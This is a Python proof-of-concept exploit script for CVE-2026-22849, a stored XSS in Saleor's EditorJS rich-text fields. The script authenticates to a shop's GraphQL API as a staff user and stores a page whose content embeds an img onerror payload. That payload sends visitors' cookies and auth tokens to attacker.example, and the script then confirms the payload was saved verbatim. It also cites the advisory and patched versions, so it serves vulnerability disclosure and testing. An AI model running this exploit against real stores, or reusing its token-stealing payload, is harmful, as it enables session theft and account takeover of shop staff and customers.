#!/usr/bin/env python3
"""
CVE-2026-22849 -- Saleor stored XSS via unsanitized rich text (EditorJS) fields
Advisory: GHSA-8jcj-r5g2-qrpv (https://github.com/saleor/saleor/security/advisories/GHSA-8jcj-r5g2-qrpv)

NOTE: The upstream researcher's repository (lukasz-rybak/CVE-2026-22849) ships only a
README-style advisory writeup with no standalone script. This file re-derives a
minimal, runnable PoC from that advisory's own description of the bug (Saleor accepts
and stores EditorJS-format "rich text" JSON for fields such as page/product
descriptions without running it through a backend HTML cleaner) so the technique can
be exercised against a test instance rather than only read about.

Technique
---------
Saleor represents rich text content (page bodies, product descriptions, etc.) as
EditorJS block JSON. Each block can carry raw inline HTML inside its "text"/"content"
values (e.g. a "paragraph" block). Saleor is supposed to run these fields through a
server-side HTML cleaner before persisting/rendering them, but the vulnerable
versions skip that step, so a block containing an <img onerror=...> / <script>
payload is stored verbatim and later rendered unsanitized in the dashboard and/or
storefront -- a classic stored XSS that can be used to steal a staff member's
session/refresh tokens.

Usage
-----
  pip install requests
  python3 exploit.py --url https://TARGET/graphql/ --email staff@example.com --password '...' --page-id <base64 page id>

This will:
  1. Authenticate via the `tokenCreate` mutation to obtain a staff auth token.
  2. Submit a `pageUpdate` mutation whose `content` is EditorJS JSON containing an
     inline HTML XSS payload inside a paragraph block.
  3. Re-fetch the page to show the payload was stored without sanitization.

Remediation reference: run `./manage.py clean_editorjs_fields` (add `--apply` to fix)
on patched versions (3.22.27 / 3.21.43 / 3.20.108) to detect/clean any already-stored
malicious rich text content.
"""

import argparse
import json
import sys

try:
    import requests
except ImportError:
    print("[!] Missing dependency -- run: pip install requests")
    sys.exit(1)

# XSS payload embedded as inline HTML inside an EditorJS "paragraph" block.
# When rendered without sanitization this fires in the browser of anyone who
# views the page (dashboard editor or storefront visitor).
XSS_PAYLOAD_HTML = (
    '<img src=x onerror="fetch(\'https://attacker.example/steal?c=\'+'
    'encodeURIComponent(document.cookie)+\'&t=\'+encodeURIComponent('
    'localStorage.getItem(\'token\')||\'\'))">'
)

MALICIOUS_EDITORJS_CONTENT = {
    "time": 1710000000000,
    "blocks": [
        {
            "id": "xss1",
            "type": "paragraph",
            "data": {
                "text": f"Innocuous looking text {XSS_PAYLOAD_HTML}",
            },
        }
    ],
    "version": "2.24.3",
}

TOKEN_CREATE_MUTATION = """
mutation TokenCreate($email: String!, $password: String!) {
  tokenCreate(email: $email, password: $password) {
    token
    errors { field message }
  }
}
"""

PAGE_UPDATE_MUTATION = """
mutation PageUpdate($id: ID!, $content: JSONString!) {
  pageUpdate(id: $id, input: { content: $content }) {
    page { id content contentJson }
    errors { field message code }
  }
}
"""

PAGE_QUERY = """
query GetPage($id: ID!) {
  page(id: $id) { id title content }
}
"""


def graphql(url, query, variables, token=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    resp = requests.post(url, json={"query": query, "variables": variables}, headers=headers, timeout=15)
    resp.raise_for_status()
    return resp.json()


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-22849 -- Saleor rich-text stored XSS PoC")
    parser.add_argument("--url", required=True, help="Saleor GraphQL endpoint, e.g. https://shop.example.com/graphql/")
    parser.add_argument("--email", required=True, help="Staff account email with page-edit permission")
    parser.add_argument("--password", required=True, help="Staff account password")
    parser.add_argument("--page-id", required=True, help="Base64 GraphQL ID of an existing CMS page to modify")
    args = parser.parse_args()

    print(f"[*] Authenticating to {args.url} as {args.email} ...")
    auth = graphql(args.url, TOKEN_CREATE_MUTATION, {"email": args.email, "password": args.password})
    result = auth.get("data", {}).get("tokenCreate", {})
    if result.get("errors"):
        print(f"[!] Login failed: {result['errors']}")
        sys.exit(1)
    token = result["token"]
    print("[+] Authenticated, got token")

    payload_json = json.dumps(MALICIOUS_EDITORJS_CONTENT)
    print(f"[*] Submitting malicious EditorJS content to page {args.page_id} ...")
    update = graphql(
        args.url,
        PAGE_UPDATE_MUTATION,
        {"id": args.page_id, "content": payload_json},
        token=token,
    )
    upd = update.get("data", {}).get("pageUpdate", {})
    if upd.get("errors"):
        print(f"[!] pageUpdate failed: {upd['errors']}")
        sys.exit(1)
    print("[+] Page updated successfully -- server accepted unsanitized HTML in rich text field")

    print("[*] Re-fetching page to confirm payload was stored verbatim ...")
    check = graphql(args.url, PAGE_QUERY, {"id": args.page_id}, token=token)
    content = check.get("data", {}).get("page", {}).get("content", "")
    if "onerror=" in content or XSS_PAYLOAD_HTML in content:
        print("[+] VULNERABLE: stored content still contains the raw XSS payload:")
        print(content[:500])
        print("\n[+] Anyone viewing this page in the dashboard/storefront will execute the script.")
    else:
        print("[-] Payload not found verbatim in stored content -- target may be patched")
        print(content[:500])


if __name__ == "__main__":
    main()